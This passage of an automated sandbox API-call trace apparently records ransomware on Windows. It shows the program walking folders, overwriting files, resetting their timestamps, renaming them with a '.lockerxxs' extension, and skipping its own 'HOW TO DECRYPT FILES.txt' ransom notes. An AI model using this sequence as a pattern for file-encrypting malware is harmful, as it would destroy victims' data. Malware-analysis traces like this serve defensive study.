ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName=".", cAlternateFileName="")) returned 0x502658 [0144.468] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.468] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x720000, cFileName="..", cAlternateFileName="")) returned 1 [0144.468] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.468] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.468] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0144.468] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0144.468] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0144.468] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\*.*") returned="*.*" [0144.468] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0144.469] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.469] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.469] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.469] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.469] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0144.469] lstrcmpA (lpString1=".", lpString2="Windows") returned -1 [0144.469] lstrcmpA (lpString1="..", lpString2="Windows") returned -1 [0144.469] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0144.469] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0144.471] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.471] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.471] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.471] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.471] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0144.471] lstrcmpA (lpString1=".", lpString2="Cookies") returned -1 [0144.471] lstrcmpA (lpString1="..", lpString2="Cookies") returned -1 [0144.471] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0144.471] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0144.471] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.471] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.471] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.472] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.472] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24aa32c7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fa3a360, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0144.472] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0144.472] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0144.472] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0144.472] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0144.472] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*") returned="*.*" [0144.472] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0144.472] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0144.475] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.476] CloseHandle (hObject=0xa0) returned 1 [0144.479] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned="index.dat" [0144.479] SetFilePointer (in: hFile=0xa0, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0144.480] WriteFile (in: hFile=0xa0, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3fda, lpOverlapped=0x0) returned 1 [0144.481] SetFileTime (hFile=0xa0, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0144.481] CloseHandle (hObject=0xa0) returned 1 [0144.481] MoveFileA (lpExistingFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.lockerxxs" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.lockerxxs")) returned 1 [0144.482] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24aa32c7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fa3a360, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0144.482] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0144.482] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24aa32c7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24aa32c7, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 0 [0144.482] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0144.483] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0144.483] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0144.483] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0144.483] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0144.483] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x610063, cFileName="Roaming", cAlternateFileName="")) returned 0 [0144.483] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0144.483] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x51ab36f5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x51ab36f5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 0 [0144.483] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.483] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790073, dwReserved1=0x740073, cFileName="TxR", cAlternateFileName="")) returned 1 [0144.483] lstrcmpA (lpString1=".", lpString2="TxR") returned -1 [0144.483] lstrcmpA (lpString1="..", lpString2="TxR") returned -1 [0144.484] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\*.*") returned="*.*" [0144.484] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\TxR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.484] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.484] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x440000, cFileName="..", cAlternateFileName="")) returned 1 [0144.484] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.485] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.485] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x440000, cFileName="..", cAlternateFileName="")) returned 0 [0144.485] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.485] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790073, dwReserved1=0x740073, cFileName="TxR", cAlternateFileName="")) returned 0 [0144.485] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0144.485] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x6f0063, dwReserved1=0x66006e, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0144.485] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.485] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="connect.dll") returned 1 [0144.485] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="connect.dll") returned 1 [0144.485] lstrcmpiA (lpString1="", lpString2="connect.dll") returned -1 [0144.485] PathFindFileNameA (pszPath="C:\\Windows\\System32\\*.*") returned="*.*" [0144.485] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.485] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0144.486] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.486] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="console.dll") returned 1 [0144.486] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="console.dll") returned 1 [0144.486] lstrcmpiA (lpString1="", lpString2="console.dll") returned -1 [0144.486] PathFindFileNameA (pszPath="C:\\Windows\\System32\\connect.dll") returned="connect.dll" [0144.486] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.486] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.486] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4517ba50, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4517ba50, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x67b06b00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="control.exe", cAlternateFileName="")) returned 1 [0144.486] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.486] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="control.exe") returned 1 [0144.486] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="control.exe") returned 1 [0144.486] lstrcmpiA (lpString1="", lpString2="control.exe") returned -1 [0144.486] PathFindFileNameA (pszPath="C:\\Windows\\System32\\console.dll") returned="console.dll" [0144.486] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.486] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.487] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1fa75a9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc1fa75a9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x67b2b4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0144.487] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.487] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="convert.exe") returned 1 [0144.487] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="convert.exe") returned 1 [0144.487] lstrcmpiA (lpString1="", lpString2="convert.exe") returned -1 [0144.487] PathFindFileNameA (pszPath="C:\\Windows\\System32\\control.exe") returned="control.exe" [0144.487] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.487] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.488] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0144.488] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.488] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="corpol.dll") returned 1 [0144.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="corpol.dll") returned 1 [0144.488] lstrcmpiA (lpString1="", lpString2="corpol.dll") returned -1 [0144.488] PathFindFileNameA (pszPath="C:\\Windows\\System32\\convert.exe") returned="convert.exe" [0144.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.488] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.488] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0144.488] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.488] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CPFilters.dll") returned 1 [0144.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CPFilters.dll") returned 1 [0144.488] lstrcmpiA (lpString1="", lpString2="CPFilters.dll") returned -1 [0144.488] PathFindFileNameA (pszPath="C:\\Windows\\System32\\corpol.dll") returned="corpol.dll" [0144.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.488] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.489] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="credssp.dll", 